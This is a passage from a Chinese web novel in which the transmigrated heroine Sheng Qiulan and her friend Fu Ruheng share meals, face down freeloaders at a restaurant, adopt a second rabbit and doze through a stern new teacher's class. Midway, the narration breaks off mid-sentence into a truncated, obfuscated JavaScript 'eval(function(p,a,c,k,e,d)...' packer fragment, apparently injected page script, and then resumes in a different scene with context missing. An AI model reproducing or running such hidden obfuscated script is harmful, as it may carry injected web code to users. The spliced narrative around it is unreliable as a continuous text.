盛秋阑没有怀疑:“哦,那你快吃吧,我特意等你的,菜都要冷掉了。” 盛秋阑特地挑了一只形状完美的大鸡腿放在了傅如珩面前。原本长孙胜想要去夹,她都不肯,当场拍掉了筷子,现在却主动给了傅如珩偏爱地明目张胆。 傅如珩看着被夹在碗中的菜,在心里笑了一下。 怎么能一样? “他们的饭菜也太难吃了吧。” 盛秋阑略有些嫌弃地看了傅如珩的盘子一眼,把自己的东西往他那边送了送,其他两个人也把自己的食盒放在中间。 “正好这些我们一个人也吃不完,大家分着刚刚好。” 傅如珩转头向男生的方向看了一眼,刚才还信誓旦旦的人现在正震惊地看着他们这个方向,眼神复杂。 怎么会这样,他遇见过很多人,哪怕表面上装的再好,实际上不都是一样的。就因为一个该死的身份,哪怕在同一个教室里面,还是阶级分明。 可是眼睛是不会骗人的,另外三个人真的毫无芥蒂地把自己的食物分给傅如珩。 这个插曲只有两个人知道,傅如珩不会说,那人自然也不会自找羞辱。 长孙胜原本对傅如珩还有一些顾忌,但是经历过下午的课之后,他就彻底把对方认作自己的兄弟了。 下午是他最讨厌的默写小测,卫先生还会随机抽人上去默写,而他刚好没有背这一篇。 平常都是死皮赖脸求着林辞殊给他看一眼,结果今天好巧不巧林辞殊被抽上去了,长长的桌子上只剩下他一个人对着面前的默写纸抓耳挠腮。 盛秋阑倒是想要帮他,但是斜对角的距离太远,卫先生又在台上紧紧盯着,就算想要传纸条也没有机会。 卫先生先前已经说过,这次默写不通过就会告诉家长,长孙胜想到他爹这几天刚刚收到的一根紫檀木棍子,顿时感觉皮肉一紧,无奈之下只好把希望寄托给坐在他前面的傅如珩。 他用脚踢了踢前面的凳子腿,傅如珩早就看见了盛秋阑和长孙胜之间的小动静,想到今天中午对方毫不犹豫跟着的场面,还是把身子侧了侧,刚好露出自己面前已经写好了的默写纸。 长孙胜一点都没有自己比他早上学却不会默写的尴尬,趁着卫先生不注意,眼睛偷偷瞟着,一边笔下飞快,终于赶在收卷之前写完了最后一个字。 他长舒一口气:“谢了啊。” 虽然傅皓轩在外面的名气不是很好,但是就现在看来,还是他太过武断了,盛秋阑能跟傅如珩玩这么好肯定也有其中的道理。 “我们昨天说好今天傍晚去吃饭,你也一起吧。” 林辞殊刚好也在这个时候回来了,盛秋阑闻言立刻答应下来,正好这一次傅如珩也在,她不用着急回家。 “你们都有空吧。” “有空有空。”傅如珩还没有张口,盛秋阑就帮他答应下来,在傅如珩看过来之前,她趴在她的耳边说,“他很有钱的,不用担心,今天你就放开来吃吧。” 傅如珩哼笑一声,与她想到了同一处地方。盛秋阑这样说自然是有前科的,先前她因为在外面吃了太多的零嘴,到家之后就吃不下饭了。贺兰谨第二日就把她出门的花销扣下大半,还叮嘱一旁陪着的侍从看着她。 她对盛秋阑的预感真的很准,盛秋阑自己没有了银钱,就去敲诈傅如珩。 “你看那个糖葫芦,山楂好红,外面的糖浆也亮亮的。” 傅如珩看了她一眼,乌青地戳穿:“可是你没有钱了。” 盛秋阑嘴硬道:“才不是我想吃呢,只是给你推荐一下,难道你不想吃吗?” “不想。” “那你看那个馄饨,量也不是很大,而且好便宜,不要买一碗吗?” “我不饿。” 盛秋阑宛如一个推销员,把市场上几乎能看见的所有东西都说得天花乱坠,细细看来几乎每一个都是她喜欢的,普普通通的一碗小馄饨也能说出花来。 可是傅如珩好像听不懂她的暗示,总能够给出一个拒绝的理由。 盛秋阑说得口干舌燥,终于图穷匕见:“不管你吃不吃,我想吃。” “可是你没钱。”傅如珩早在一开始就看穿了她的目的,残忍地又把事实重复了一遍。 “你有钱就好了,给我买。” 傅如珩当着她的面打开自己的荷包,里面只有零零碎碎几十文,甚至盛秋阑一天的零钱都比他口袋里的多,“这是我一个月的零花。” 里面的钱虽然足够买一些东西,但是按照刚才盛秋阑列出的清单,买完之后荷包就空了。 盛秋阑也没有想到那么大一个侯府居然如此抠搜,愧疚感顿时上来了。 “算了算了,我也不是很想吃,这些东西乍一看好看,但是仔细看还是不太健康。” 傅如珩收拢了自己的钱袋子,这时候反而不着急了:“不过你之前那样一说,我还真有些想吃了。” 明明刚才还像个挑剔鬼一样把东西全都挑拣了一遍,现在怎么就装成了小可怜的样子。 好吧,好像还真是小可怜。 盛秋阑撇撇嘴,变得不忍心起来,早知道一开始就偷偷带点私房钱了。 她不死心地掏掏口袋,确实再也没有一点银钱了。 头上精美的饰品坠着珠子,盛秋阑摘下来,眼睛一亮:“等着,我去问问有没有人要,这样我们就有钱了。” 傅如珩差点抓不住她,小跑了一步把人拉回来,无奈地说:“逗你的。” 他拿过盛秋阑手上的发饰,重新别在她的头上,确保没有其他的东西再面临被卖出的命运,才带着盛秋阑来到刚才经过的一个小摊子门口。 摊子面前放着一口大锅,锅中的水沸腾着,里面的馄饨上上下下地浮动,散发着扑鼻的香气,光看样子就食欲大开。 盛秋阑吸了吸鼻子,勉强把目光从锅中移开:“你带我来这里干嘛,我也不是很想吃。” 光勾引不买,可是很严重的! 正在搅动着锅中馄饨的阿婆看见面前的两人,利落地盛出来一碗,递给傅如珩:“娃儿,你的馄饨好了。” 盛秋阑看着端到自己面前的馄饨,眼睛都发直了:“你什么时候买的?” “刚才,不过你不是不想吃吗。” 看傅如珩的样子,好像 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盛秋阑真的有点饿了,眼睛直勾勾地盯着碗里的馄饨,哪怕被烫着,嘴上的动作却没有停。相比起来,傅如珩的动作就要斯文很多,甚至还有空帮盛秋阑把剩下的馄饨捞出来晾凉。 只是盛秋阑吃了两三个之后就停住了,她把碗递给傅如珩:“你快吃吧。” “不好吃吗?”傅如珩看着还剩下大半的馄饨。 “好吃,但是我吃饱了,你快吃,等会儿就冷掉了。” 不管傅如珩再怎么说,盛秋阑都不肯吃了。她看着傅如珩把剩下的几个解决完,碗中还剩下最大的一只馄饨,里面包着的是一整个完整的虾仁。 傅如珩早已经用勺子把它盛出来,觉得温度差不多了,放在盛秋阑眼下:“还有最后一个,我不想吃了。” 盛秋阑没有再推脱,直接就着傅如珩手指把馄饨吃下去。饱满的虾仁很有嚼劲,鲜味在口腔中散开来,芹菜掩盖掉了腥味,只留下了脆脆的口感。 小小一份馄饨的量不是很多,两个人几分钟就解决了。侍卫欲言又止地守候在旁边,看着盛秋阑吃得心满意足之后从台阶上站起来,拍了拍身后的灰。 “放心,不会让娘亲发现的。” 回去之后,盛秋阑果真还能够吃下满满一碗的米饭,没有引起贺兰谨的怀疑,顺便还拿回了自己零花钱的使用权。 平常就连买些零嘴都要两个人分着吃,现在有人请客,自然不用再客气。 四个人各自跟来接的侍从说了一声,坐着马车跟着长孙胜前往他预定的酒楼中。 盛秋阑拉开旁边的帘子观察,两边的景色越看越眼熟,直到前面的马车停下来,她也跟着下车。 盛秋阑抬头望着面前明显已经重新装修过、焕然一新的酒楼,木色的牌匾上面写着金色的大字,笔力遒劲。 醉柳楼。 “你说的就是这个?”盛秋阑看着熟悉的店铺,对着已经站在门口的长孙胜说。 “对啊,说起来这家酒楼原本已经要倒了,我爹看在它位置不错,所以买下来了,重新装修了一下,还从南方请了厨子。” 一楼的大厅里面人头攒动,哪怕现在不是节日,生意还是很好,还能从中隐约看出熟悉的布局,与脑海中的场景逐渐重合起来。 那家酒楼自从被揭穿作假之后顾客就大量减少,很快就入不敷出开始转让,盛秋阑没有过多关注,没想到最后是被长孙家买下来了。 现在的人相比起当初刚刚开业的时候还要多,掌柜算盘打得啪啪响。 因为少东家要来,掌柜已经提前留好了最好的包厢,带着几人上楼。 哪怕盛秋阑之前说得夸张,点菜的时候还是克制地没有点很多,挑选了几份特色菜。 长孙胜倒是大方,连菜单都没有看一眼,一挥手:“把店里所有的菜都上一遍。” “不用,我们吃不完。” 盛秋阑拒绝了首富之子的邀请,把自己点好的单子递给一旁的林辞殊。 很快端着菜的伙计鱼贯而入,桌子上放满了菜,几乎把淮南到京城的所有菜系全都囊括了。 盛秋阑已经很久没有看到这么齐全的江南菜,先夹了一块还泛着油光的梅干菜扣肉。 吃到嘴里的一刻,她几乎要流下眼泪了。 是甜的肉! 酱汁里面加上了大量冰糖收汁,把每一块肉全都浸透了,梅干菜辅佐调味,汤汁浓郁到能吃一大碗饭。 长孙胜从小在京城长大,还没有尝过江南菜,虽然这家酒楼是他家的,但是他家有那么多铺子,也不能一一尝过。 见盛秋阑吃得都眯起眼睛了,长孙胜也跃跃欲试地夹了一筷子,被嘴巴里面的甜味给震惊到了。 “这么甜的肉你怎么吃下去的?” “你多吃几块就知道了。” 林辞殊就不用说了,这是她从小的口味,在一旁慢条斯理地吃着。 虽然盛秋阑盛情邀请,但长孙胜夹过一块之后就再也不肯多尝试了,幸好他还另外点了一些符合京城口味的菜品和糕点。 他拿了一块龙须酥放在口中,糕点是现做的,外面的酥皮一咬就落,只能用手接着,勉强压掉了嘴里的甜味。 看着其他几个人吃得津津有味,长孙胜忍不住疑问。 “林辞殊小时候在那边长大,你们怎么一点都没有不习惯?” 酒楼开在京城,自然要照顾到这边的口味,但毕竟提前说好要带他们来吃南方的菜,长孙胜特地叮嘱要原汁原味。 那位请来的大厨自然也是发挥了自己全部的水平,全然是按照南方口味所制。 盛秋阑嘴角还沾着糖醋汁,才想起来自己上辈子在南方长大,自然不会觉得偏甜,但是傅如珩跟她不一样,明明也是在京城长大,却还是吃了很多。 她偏头,小声问:“你不会觉得甜吗?” “还好,吃多了就习惯了。” 傅如珩一开始确实觉得不合胃口,但是没有长孙胜那么夸张。 更何况—— “你之后不是还要带我去江南吗,我可以先适应一下。” 28. 转笔 哪怕几个人最后吃到瘫倒在椅子上,桌子上还剩下不少菜。盛秋阑让人打包了剩下来的糕点,几个人拎着盒子出去,刚走到一楼,就听到了不合时宜的嚷嚷。 “你们这做的什么东西,这么难吃,给我退钱!” 盛秋阑都不用找,就知道是谁发出来的。那人的声音很大,好像是特意彰显着什么,一条腿架在旁边的椅子上,站得比其他人还要高一些,他旁边还有两个人跟着附和。 闹事的人穿着一件粗布短褐,外面是一件夹克,上面沾着各种污渍,也不知道有多久没洗了,脚上穿着的蒲草鞋破了一个洞,脚趾隐隐约约透出来。脸上还泛着油光,一双眯眯眼此刻睁得很大,反而变得有些滑稽,衬得脸颊两旁的红晕更加明显。 掌柜没想到少东家难得来一次就碰上这种事,额头上的冷汗都要出来了,眼看着那人的动静越来越大,店里面其他人的目光全都吸引过来了。 长孙胜招来一个人问:“怎么回事?” “那人说菜不合口味,想要我们退钱,但是明明菜全都吃完了。” 明显是做惯了这种事情的无赖,专门想要来吃霸王餐的,而且看他这个样子,像是先前已经得逞过很多次,所以才会这样有恃无恐。 长孙胜虽然还没有接手家中的事物,但是人都闹事到面前了,也不能不管。 掌柜暗骂倒霉,想要先把人请走:“少东家,要不您和朋友先走?” “那你们怎么处理?” “已经有人报官了,衙役应当马上就会来。” 话虽这样说,城西没有其他地方那样繁华,衙役过来还需要一段时间,若是男人想要趁着这段时间强行要走,光凭着店里面的几个小二,根本挡不住。那三人也是看准了这一点,所以才敢在这段时间过来。 哪怕是长孙胜也对此没有办法,他暗暗记下面前三个人的样子,打算若是没有结果,到时候就到衙门上去告状,总要让这些无赖付出一点代价。 就在这个时候,旁边突然站出来一个人影,清亮的声音让所有人都能听见:“不合胃口,那面前的空盘子是猪吃的吗?” 盛秋阑开团太快,其他几个人还没有反应过来,她就已经说了一连串,直接把赖账的三个人划分到了畜生界。 哪怕再怎么游手好闲,他们也能听出来盛秋阑口中嘲讽的意思,他们恼羞成怒,看她年纪小,身边又是一群年龄相同的人,根本没放在眼里。 “关你什么事,滚一边去。” 长孙胜见盛秋阑还想要开口,都忘记了自己刚才气成了什么样子:“好了,我们这边没人,万一他们打过来咋办?” 傅如珩倒像是早已经习惯了,他看着面前的三人,默默把两个女生挡在了后面。 “你不是说这家酒楼原本要倒了,是被你爹接手的吗?” 长孙胜不知道她为什么突然提起这件事,有点懵地点头。 “干垮那家店的人就是我。” 盛秋阑扔下这个炸弹,直接惊得长孙胜睁大了眼睛。 “所以看好了吧。” “反正今儿我就不付钱了,而且你们这家店做得这么难吃,好好的菜全都是甜的,还要赔偿我300文。”那个人可能是看盛秋阑被拦在后面,更加得意了,变本加厉地提出要求。 这下就连长孙胜都怒了,完全不见刚才劝盛秋阑的样子:“小爷我今儿还不信了,你们这群无赖不付钱别想踏出这里。” 掌柜被夹在两拨人中间头都大了,都不知道先劝那一个。 要是少东家在自己这儿受了委屈,到时候怪罪下来可就麻烦了。 “少爷……” 那人哼笑一声,和同伴对视一眼:“你们这群小崽子口气还挺大,我倒要看看你能怎么办?” 他今天是打定主意要吃这顿霸王餐,仗着店里面没有人能制服他们,也料定盛秋阑一行人没有办法。 不过他今天是踢到铁板了,盛秋阑在外面闯过这么多祸,不仅仅是背后有人撑腰,最重要的是她知道什么时候是最佳时机。 门口突然来了好几个人,穿着的是大户人家标配的侍卫服装,哪怕样式看起来有些不同,但是光是几个人站在那边,就已经满满当当。 长孙胜和林辞殊看到了各自守护在旁的侍卫,顿时知道了盛秋阑为什么敢出言挑衅。 感情是算好了时间,专门等着帮手过来。 那三个无赖也没有想到他们居然能叫来侍卫,现在才看请他们身上穿的衣服就不是寻常人家能买得起的,再加上身边跟着的人,知道自己现在是逃不过去了,刚才说话的时候有多嚣张,现在脸上就有多难看。 刚刚还在大声叫嚣的人脸上露出一个丑陋的笑容,眉眼全都挤作一团:“大人们,刚刚是小的太心急了,说话没分寸。” 他身边两个人也同样求饶,手忙脚乱地从口袋里面掏出钱:“咱们这就付钱,大人们就不必把官兵请来了吧。” 他们颇为畏惧地看了一眼旁边虎视眈眈的侍卫,一股脑的把钱放在了柜台上,甚至都没有要找回的零钱,灰溜溜地跑走了。 长孙胜对掌柜的说:“我回去让我爹多派几个人手,遇到这种人直接压到衙府里面去,要是再有下次直接不接待。” 这次要不是盛秋阑,他们可能还真没有办法止住,回去指定要憋一肚子气。 长孙胜一脸钦佩地望向她:“姐,你真是太厉害了。” 盛秋阑表示这是熟能生巧:“也不早了,明天还要上学,我们就先回去了。” 正好侯府里面的人也过来了,盛秋阑和傅如珩并排而走,在各自家门前分别。 “明天见!” . 时间一闪而过,又到了旬假,盛秋阑这段时间和学堂里面的人都熟悉了,虽然课业对她来说没有什么压力,但是放假终究还是开心的。 她上学的这段时间都没能陪言言好好玩,正想要趁着这个时候好好弥补一下,看见院子当中已经有人了。 傅如珩蹲在院子当中,看着面前的一团白色,盛秋阑理所当然地以为那是言言,直到走进一看,发现在院子的不远处还有一直啃叶片的兔子。 盛秋阑:? 怎么会有两只? 言言总不能趁着这个时候生了个小兔子吧。 “言言!” 盛秋阑试图通过叫名字来分辨哪个是他家的兔子。 可是言言一贯傲娇,平常就算抱在怀里也是爱搭不理,这个时候当然不会理睬已经有一段时间没见的老母亲。 这个方法没用,盛秋阑看向了目前嫌疑最大的傅如珩:“怎么回事?” 傅如珩承认:“我带过来的。” 两只兔子从外表来看没有什么区别,当初盛承驰买下一只就已经被掌柜列成了大客户,傅如珩当然也是花了不少钱。 可是盛秋阑知道他没有那么多零花,要是想要买下来肯定要攒很久。算了算时间,就算从她一开始看兔子的时候开始攒,不然不可能在这么短的时间里面买下来。 “你背着我偷偷赚钱了?” 傅如珩轻描淡写:“我把玉佩卖了。” 盛秋阑的声音骤然拔高:“卖了!” 若是换做其他人这样干,她绝对不会有这么大的反应,毕竟身边有数不清的类似物件,卖掉一两个也算不了什么。只是傅如珩的房间简洁,一眼就能看得清所有,除了一个锁上的抽屉,其他地方盛秋阑掰着手指都能数清楚其中的物件。 傅如珩说的玉佩应该是原本放在床头的,当时盛秋阑还奇怪怎么会有三个一模一样的佩饰,玉的成色算不了上乘,相比起她之前收到过的那些礼物可以算作平平无奇,但已经算是房中为数不多值钱的东西。 现在傅如珩跟她说把它卖了? “本来想要早点给你的,只是现在才有人拍下来,就晚了一步。” 傅如珩原本已经向掌柜预定了,打算等到盛秋阑生日的时候再送出去,没想到还是盛承驰先一步买来了,他现在才能够抱着兔子来找盛秋阑。 不过盛秋阑还是很惊喜,她看着面前相隔了一段距离的兔子,指着傅如珩原本在看的那一只:“就是那只吗?” 没想到傅如珩摇摇头:“不是,那是言言。” 新带来的那只兔子远没有言言当初自然,自从被抱到这里之后只敢在栅栏的一角缩着,坚决不肯靠近这里的原住民。 “那它有名字了吗?” 这次傅如珩没有再摇头:“有了,叫做兰兰。” 盛秋阑一开始没有反应过来:“我问你他叫什么名字,你叫我干嘛?” “没有叫你,它叫兰兰。” 好啊,原来在这里等着她。 盛秋阑还以为傅如珩一开始不知道她取名背后的小心思,感情是一开始就猜到了,只是一直没有明说。 不过这个名字还挺好听的,盛秋阑觉得两个人扯平了,就放任兔子和自己是同一个读音。 她打开了栅栏的门,慢慢靠近角落的那只兔子,兔子对周围的反应都非常敏感,一开始还在不停地往后面退,但是很快就停在了原地,放任盛秋阑蹲在旁边。 盛秋阑不确定它喜不喜欢被人摸,手先放在了它毛最多的背部,观察着兰兰的表情,没有看见不情愿的表情,才缓缓向下抚摸。 她已经摸清楚了兔子的习性,力道和部位都很舒服,很快就感觉到它放松下来。 言言终于在这个时候吃饱喝足,好像现在才看见院子当中的新成员,跑过来有些好奇地打量着被盛秋阑抚摸着的兰兰。 盛秋阑从小已经被兄弟俩锻炼出来了端水,肌肉记忆一般把另一只手放在言言的背上,双手同步往上面抚摸。 她看着两只手下面如出一辙的颜色:“它们不会叫人,万一之后分不清了怎么办?” 傅如珩抓过兰兰,把它贴着身子的右耳稍稍提起来,露出了隐藏在后面的颜色。 耳朵后面有一小撮黄色,如果白色雪地上开出的一小朵黄花。 “掌柜说这是它天生就有的。” 两只兔子在此时不知道经过了什么样的交流,一改刚才的生疏,突然变得亲密起来。 言言的身形要比兰兰稍微大一点,两只兔子交叠着,宛如一个横倒着的雪人。 盛秋阑在此时才警觉道:“兰兰是公的还是母的?” 虽然她确实喜欢兔子,但如果两只兔子每天混在一起,到时候渗出一窝小兔子来,那真的要变成兔子园了。 “都是母的。” “那就好。”盛秋阑扪心自问,自己还不想成为了一群小兔子的老大,两只就够了。 . 京城当中四季分明,不知不觉盛秋阑已经进入中舍,她上身的衣服渐渐换成了轻便的纱,相比起冬天时候的里三层外三层,看起来轻盈了很多。 盛秋阑旁边堆着薄薄一小碟的宣纸,现在正在写最后一张。 “要是被先生看见,小心又被罚。”见她趴在桌上面,如同没有骨头一样写字,傅如珩提醒。 这辈子写字是从姿势开始学起,古代对写字姿势的要求比现代要严格很多。只是一旦开始写作业,盛秋阑就控制不住自己,总喜欢趴在桌子上侧着头,如同没有骨头似的。 一次被卫先生看见了,直接在她面前放了一块薄木板,掉一次就加两张纸。为了自己能够早点完成作业,盛秋阑只能挺直背,一次作业写下来腰酸背痛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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盛秋阑意识到自己闯祸了,想要帮他擦掉,可是衣服的渗透能力很强,不仅没有擦干净,反而将还没有干涸的墨水糊成了一团,衣服原本的颜色被盖住了。 傅如珩已经习惯了每天突如其来的事故,他淡定地撤回自己的袖子:“别擦了,回去让人洗掉。” 盛秋阑抓着自己干净的帕子,讪讪地收回手,像是看到了什么,一把抓住傅如珩的肩膀,阻止了对方回身的动作。 “等等。” 傅如珩看着面前突然放大的脸,女孩的脸上光滑,皮肤细腻,几乎能够看见细小的绒毛,长长的眼睫乌黑浓密,像是蝴蝶翅膀一般。 盛秋阑的呼吸喷洒在脸上,带着早上涂的面霜香味,她拿起帕子,一把摁在了傅如珩的脸上。 白净的帕子上面顿时沾上了一小点墨水,盛秋阑又来回搓了搓,直到再也看不见墨水才离开。 傅如珩神色怔忪,摸着刚才帕子扫过的地方,看向盛秋阑。 “真的干净了。” 盛秋阑拿出一小面镜子,放在傅如珩面前。镜面上倒映出他此时的样子,确实如盛秋阑所说看不出什么异常,唯有左脸颧骨处带着一点浅红色,是刚才反复擦拭摩擦留下的。 前面桌子和椅子上面也沾上了墨水,盛秋阑趁着人还没有回来,把“罪行”清理干净,只是还没有安分多久,又开始感觉手痒痒的。 受害者还在旁边看着,盛秋阑拿出一只崭新的毛笔。放在手上重新转。 “教教我。”长孙胜看得眼睛都直了,拿出笔跃跃欲试。 傅如珩注视着手上还残留着墨水的毛笔,淡淡地扫了他一眼,长孙胜自动就把笔拿回去了:“等等,我换一支。” 实在不是他太怂,哪怕已经一起玩了很久,他还是感觉到傅如珩有时候很可怕,虽然不像他哥那样蠢得明显,但是反而更加有压迫感,也就只有盛秋阑才敢没心没肺。 “像这样,把笔横放过来,”盛秋阑一边示范,一边讲解着,“大拇指用力,中指收回去。” 毛笔不像签字笔那样精致小巧,转起来有些难度,但盛秋阑很快调整好了力度,笔杆在手上转出了残影,然后稳稳握住了。 “你慢慢练吧。” 长孙胜得到了新玩具,都顾不上听课,在课上不停地转着。只是这项技艺明显没有传纸条那么容易,毛笔在纸上和桌子上磕了无数遍,最后就是一向好脾气的林辞殊都听不下去了,直接没收了作案工具。 “别影响我听课。” 长孙胜的所有笔全都被收走了,只能老老实实听课,只是他的小动作早已经被先生看见了,下完课,先生走到他身边:“课上玩得挺快活,一只毛笔都能反复耍。” 盛秋阑在前面看戏,没想到下一秒矛头就对准了她:“你也是,我都看见了,今日下学之后罚抄十张。” “啊。”盛秋阑乐极生悲,没想到自己刚刚才写完作业,这就又多了几张。 如果说先前还能凭借着她这个可怜巴巴的样子骗得同情,经过这段时间,先生早已经熟悉了她的秉性:“不许回嘴。” 等到先生走之后,傅如珩见盛秋阑把目光转向他,突然有种不详的预感:“干嘛?” “我一个人写不完,”盛秋阑把纸分了一半给他,“你帮我写一点。” 傅如珩早在她张口之前就知道没有好事,知道自己就算反对也没有用,熟门熟路地仿照着盛秋阑的笔迹,两个人干活速度加快了不止一倍。 同样获得十张纸的长孙胜看得眼都红了,他不敢去跟傅如珩开口,只好转向同桌:“你……” “不行,自己写。”林辞殊知道他想要说什么,干脆地拒绝了。 傅如珩写字速度比盛秋阑快,后者一点都没有负担地把自己那一边的纸又分出来一张给他,自己已经优哉游哉地坐在椅子上面了,此时听到他们的对话,笑得像偷了腥的小猫:“你自己慢慢写吧。” 长孙胜悲愤欲绝:“早知道我小时候也找个朋友了。” 盛秋阑冲他摇摇手:“想多了,傅如珩只有一个,被我找到了。” 29. 偷睡大法 中舍当中原本的博士因为年龄太大不再教书了,第二天就换了一个新的先生来。 这位先生看起来年纪不大,但是额头上已经有了三道皱痕,哪怕眉头是松的也改变不了痕迹,衣服一丝不苟地扣起来,只露出了最上面一节脖子。 他进入讲堂后一言不发,先静静地环视了讲堂一圈,看得底下的人全都不敢吭声。 “某乃齐氏,今起为尔等讲授文章构法,称呼齐先生即可。” 这位齐先生一开口盛秋阑就有点昏昏欲睡了,用词生硬拘束,就连上一个年纪较大的先生都不这样说话。她百无聊赖地看着面前的书本,耳边是叽里呱啦的声音,思绪早已经飘到了外面。 “讲堂之上,需要讲究规矩,不得有分毫小动作,若是被发现,必然按规惩戒。” 齐先生还在说自己的上课要求,他从手边拿出了一根盘得油光水滑的檀木戒尺,顿时把原本还有些不在意的学生吓得立马坐直了。 这里面的学生有一个是一个,全都是不能惹的背景,是以就算平时犯错,也不会用过激的方式,毕竟教书的先生们也不想因为手段太严厉被世家子弟记恨上。学堂里面不允许体罚,但是光是这把尺子拿出来,就足以震慑到他们。 当然,盛秋阑不在其中。 她知道这只是装装样子,要是真打下来,先走的是谁都不好说。 这类话她早已经听得耳朵起茧子了,吓吓别人还行,对她一点用都没有。 似乎是盛秋阑这个无所谓的态度在一众正襟危坐的人当中太过明显,齐先生很快就盯上了她。 “汝有何不满?” 盛秋阑往四周看了看,确定这位齐先生说的是自己:“没有。” 齐先生显然是打算在开头的时候给个下马威,并不打算就这样放过她。 “先生讲课时左顾右盼,不成体统。” 讲堂里面的呼吸声都变轻了,显然是害怕下一个就会轮到自己。 换做平常,盛秋阑卖个乖也就算了,她在这方面一向知道如何讨人喜欢。在童舍中,卫先生虽然平时会被她气到,但毕业的时候还是表现出了舍不得。 可这位齐先生看人的态度,让盛秋阑想起了高中时期一直莫名看她不顺眼的政治老师,明明两人没有发生过冲突,却总是针对她,包括但不限于在课堂上阴阳怪气,课后还总是找茬。 盛秋阑一直觉得政治成绩拖后腿有很大一部分原因就是在老师身上。 不过听说毕业之后那位老师很快就因为违法乱纪被抓到局子里去了,不但丢了工作,还蹲了好几个月。 哼哼,这就是惹她的下场。 盛秋阑被激起了不愉快的回忆,看着面前这位装腔作势的齐先生,自然也没有了好态度。 “弟子行事可能有所偏颇,只是觉得夫子讲了这么多,所谓文章构法,未闻片语,倒是震慑了不少学生。” 不就是文绉绉地说话嘛,谁不会? 盛秋阑这一番话明里暗里讽刺齐先生话实在是太多,教书水平如何先不说,下马威倒是很大一个。 齐先生被她说得脸上青白交错,似乎想要发火,但是想到这样做的话正好应了盛秋阑的话,只能愤愤地拿起戒尺,在讲台上重重一拍,转身开始讲课。 如果说盛秋阑原先只是质疑他的教学方法,这位齐先生一张口,她就知道了教学水平。 古代文章同样讲究起承转合,但在应试当中也需要结合实际,虽然需要严谨的结构,但更加注重论事说理、经世致用。齐先生却闭口不提其中内容,字字句句像是被困在了八股文当中,死板地对着文章讲着其中的形式,中间还掺杂着拗口的生词,似是刻意彰显着自己的文采斐然。 盛秋阑本来昨天休息充足,但是被他一讲,顿时感觉回到了高中课堂中,困意迅速袭来,哪怕两只手撑着眼皮都无济于事。 都困到这个份上了,盛秋阑也不为难自己,她把前面的几缕刘海弄得松散一些,发丝垂落在脸颊旁边,一只手撑着头,假装正在低头看书,实则眼睛已经闭上了。 啊,还是熟悉的感觉,这种又心慌又安心的伪装。 耳边的讲课声如潮水一般褪去,如同在远处,忽远忽近,效果比数学课还要好。 果然,只要是听不懂的都能够助眠。 盛秋阑虽然意识逐渐昏沉,但还是记得自己在课堂上,感觉到一直存在身边的声音逐渐消失,讲堂中变得异常安静,神智一下子清醒。 她没有立刻移开手,而是借着原本的姿势睁开了眼睛,试图通过外界的声音来判断现在是什么情况。 那位齐先生不知道走到哪里去了,盛秋阑转了一圈眼珠,没有在台上看见他的身影。 她的手指微微蜷缩,逐渐从扶额变成了侧头,以此能够扩大视野范围,随后装作自然地扭了扭脖子,结果就被右边突然出现的长衫吓到了。 这种青色长衫只有齐先生穿着,也不知道在这边站了多久。 难道她睡觉被发现了? 盛秋阑谨慎地观察着局势,决定采用敌不动我不动的战术。齐先生没有说话,她望向前方的粉壁上,想要从中找出线索,但是没有看见标注,分辨不出原先讲到哪个部分了。 “回答一下适才的问题。” 盛秋阑还没有搞清楚目前的局势,环顾四周没有看到有人有站起来的意思。 真的是她被发现了? 后面传来声响,伴随着椅子拖拽,不是别人,正是长孙胜。 他的语气中还带着刚睡醒的茫然:“弟子不知。” “在课上倦怠,到后面去清醒一番。” 齐先生自从一开始被盛秋阑当众反驳之后就一直关注着这边的动静,但是盛秋阑一直低着头看课本,虽然看不见她的眼神,但光凭表象看不出问题,也没有办法随意责罚,就只能憋着气讲课。 长孙胜一开始还被齐先生的气势吓了一跳,但是看盛秋阑把人怼一遍之后,那一种畏惧感就减少了许多,这个课程实在催眠,他听着听着就闭上了眼睛。 这一下就被关注这个角落的齐先生抓住了小辫子,林辞殊早在观察到齐先生看过来的眼神时就将手伸到桌子下面想要提醒,无奈人实在是睡得太熟了,不管怎么拍都没有反应。 长孙胜被叫起来后整个脑袋还是懵的,他根本没有听清齐先生的问题,更何况回答,闻言也没有纠结,拿着书到了后面,站在角落处。 齐先生终于气顺了一点,这些人纵使是贵族子弟那又如何,他现在的身份是学堂里面的先生,在这方面不还是他想要让人罚站就罚站。 他自诩颇有才华,就算在所有科举进士的人当中年纪也不算大,相比起年过半百依旧在考场中浮沉、靠着几十年苦读才考取功名的人来说,他自然是更高一筹。只是最终名次并不出彩,就算在京城中得了一个小官也还是没有受到重视,在最开始考中后的兴奋之后,挫败感也随之而来。 虽然不用担心吃穿用度,但也跟他之前想象的荣华富贵完全不符。 他在官场中没有什么成就,再加上因为自身高傲,不愿意与同级别的同僚打好关系,逐渐被排挤在一边。 齐先生一气之下辞了官,本想着靠自己的才华干出一番成就,没想到屡屡碰壁,一番心气也折腾没了,终究不再做梦,花了之前积累出来的所有身价才能买到在这里教书的职位。 即便如此,他还是觉得上天不公,这些学生各个身份尊贵,出身就已经站在了顶端,哪里像他一样寒窗苦读多年,最终也只能落得这种结局。 齐先生下定心想要在第一天先给他们一点震慑,将自己这几年受到的苦楚转移到这群不知疾苦的少爷小姐们身上,没想到就这样也被盛秋阑气回来了。 想到这里,齐先生又转头瞪了盛秋阑一眼,后者此时已经睁开了眼睛,面上一副乖乖听课的样子,他就不能用同样的理由让人到后面去罚站了。 “你来回答一下我刚才问的问题。” 终究还是来了。 盛秋阑跟长孙胜半斤八两,就算后来清醒了也不知道讲到了哪里,原以为这一劫已经过去,没想到还是轮到自己身上。 她站起身来,隐晦地瞄了一眼傅如珩面前摊开的书本。 后者假装无意地移动了一下手指,最终点书本中间的一段话上面。 嘿嘿,这就是默契。 赶在齐先生看过来之前,盛秋阑收回了眼神,对着自己的书念出答案。 “夫人之立言,因字而生句,积句而为章,积章而成篇。篇之彪炳,章无疵也;章之明靡,句无玷也;句之清英,字不妄也。振本而末从,知一而万毕矣。”[1]
